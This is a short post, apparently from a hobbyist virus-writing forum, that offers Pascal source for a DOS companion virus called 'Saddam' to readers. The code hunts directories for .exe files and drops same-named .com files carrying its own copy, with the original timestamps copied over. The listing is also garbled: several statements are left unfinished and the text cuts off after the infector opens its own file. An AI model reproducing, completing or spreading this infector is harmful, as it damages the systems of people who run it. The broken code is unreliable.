Here is a new viri code for u guys
It's created in pascal

Program Saddam;

{$M 10000,0,0}

Uses
DOS;

Var
DriveID : String [2];
Buffer : Array [1..8000] Of Byte;
Target,Source : File;
Infected : Byte;
Done : Word;
TargetFile : String;

(*??????????????????????????????????????

???????????????????????????????????*)

Function ExistCom : Boolean;
Var
FindCom : SearchRec;
Begin
FindFirst ( TargetFile, 39, FindCom );
ExistCom := DosError = 0;
End;



Procedure SearchDir ( Dir2Search : String );
Var
S : SearchRec;

Begin

If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
Dir2Search := Dir2Search + '\';



FindFirst ( Dir2Search + '*.exe', 39, S );

While DosError = 0 Do
Begin

TargetFile := Copy ( Dir2Search + S.Name,1,
Length ( Dir2Search + S.Name ) -3 ) + 'com';

If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
Not ExistCom And ( Infected <> 25000 ) Then
Begin
{$i-}
Inc ( Infected );
Assign ( Target, TargetFile );
Rewrite ( Target,1 );
BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
SetFTime ( Target, S.Time );
Close ( Target );
If IoResult = 101 Then
Begin
Infected := 3;
Erase ( Target );
End;

{$i+}
End;

FindNext ( S );
End;

FindFirst ( Dir2Search + '*', Directory, S );

If S.Name = '.' Then
Begin
FindNext ( S );
FindNext ( S );
End;

If ( DosError = 0 ) And

FindNext ( S );

While DosError = 0 Do
Begin
If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then

End;
End;


Begin

Assign ( Source, ParamStr ( 0 ) );
Reset ( Source, 1 );
